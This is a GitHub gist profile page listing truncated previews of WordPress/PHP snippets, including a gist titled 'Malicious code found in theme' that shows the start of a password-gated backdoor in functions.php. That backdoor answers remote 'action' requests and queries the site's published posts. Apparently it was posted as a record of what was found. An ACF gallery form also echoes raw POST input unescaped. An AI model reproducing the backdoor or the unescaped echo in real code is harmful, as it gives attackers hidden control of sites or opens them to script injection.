Skip to content

Instantly share code, notes, and snippets.

View mustardBees's full-sized avatar

Phil Wylie mustardBees

View GitHub Profile
<?php
/**
* Google API key.
*/
function pw_google_api_key() {
return 'KEY';
}
add_filter( 'pw_google_api_key', 'pw_google_api_key' );
<?php
/** Google API key. */
define('PW_GOOGLE_API_KEY', 'KEY');
<?php
$cmb->add_field( array(
'name' => 'Location',
'desc' => 'Drag the marker to set the exact location',
'id' => $prefix . 'location',
'type' => 'pw_map',
// 'split_values' => true, // Save latitude and longitude as two separate fields
// 'api_key' => 'KEY', // Google API Key
) );
@mustardBees
mustardBees / gist:1ca6c035b6861b370fd9c7813b5667df
Created May 29, 2018 11:36
ACF gallery field. Merge serialized arrays php
<div id="main-content" class="is_fullwidth home-template">
<div class="container">
<div class="row">
<div class="col-xs-12">
<form method="post">
<p>
<textarea name="galleries" style="width: 500px; height:200px;"><?php echo ( isset( $_POST['galleries'] ) && ! empty( $_POST['galleries'] ) ) ? stripslashes( $_POST['galleries'] ) : ''; ?></textarea>
</p>
@mustardBees
mustardBees / functions.php
Created March 19, 2018 14:27
Malicious code found in theme
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '2fbea44207801ca38544db1f0044226e'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
Mews.Distributor({
configurationIds: $.map(iweb_mews_config, function (o) {
return o["configurationid"];
}),
hotelIds : ['1', '2'], // Hacky workaround to force Distributor into chain mode.
}, function (distributor) {
// Hook into booking links, optionally prepopulate a voucher code.
$('.js-booking-link').on('click', function (e) {
e.preventDefault();
@mustardBees
mustardBees / functions.php
Created August 3, 2017 10:35
Formidable - add classes to each form's submit button.
<?php
/**
* Add classes to each form's submit button.
*
* @param array $classes
*
* @return array
*/
function iweb_add_submit_button_classes( $classes ) {
$classes[] = 'button medium color';
<?php
/*
Plugin Name: Reverse geocode case studies
Plugin URI: https://www.philwylie.co.uk/
Description: Reverse geocode case studies.
Version: 1.0.0
Author: Phil Wylie
Author URI: https://www.philwylie.co.uk/
License: GPL2
*/
@mustardBees
mustardBees / remove-product-yoast-meta.php
Created June 14, 2017 12:55
remove-product-yoast-meta.php
<?php
/*
Plugin Name: Remove Yoast SEO meta data from products
Plugin URI: https://www.iweb.co.uk/
Description: Change download URL.
Version: 1.0.0
Author: iWeb
Author URI: https://www.iweb.co.uk/
*/
@mustardBees
mustardBees / functions.php
Created March 28, 2017 10:14
Useful for creating a comma separated list from array with "&" before the last element.
<?php
/**
* Join a string with a natural language conjunction at the end.
*
* Useful for creating a comma separated list from array with "&" before the
* last element.
*
* @author Daniel James
* @link https://goo.gl/kQK5ke
*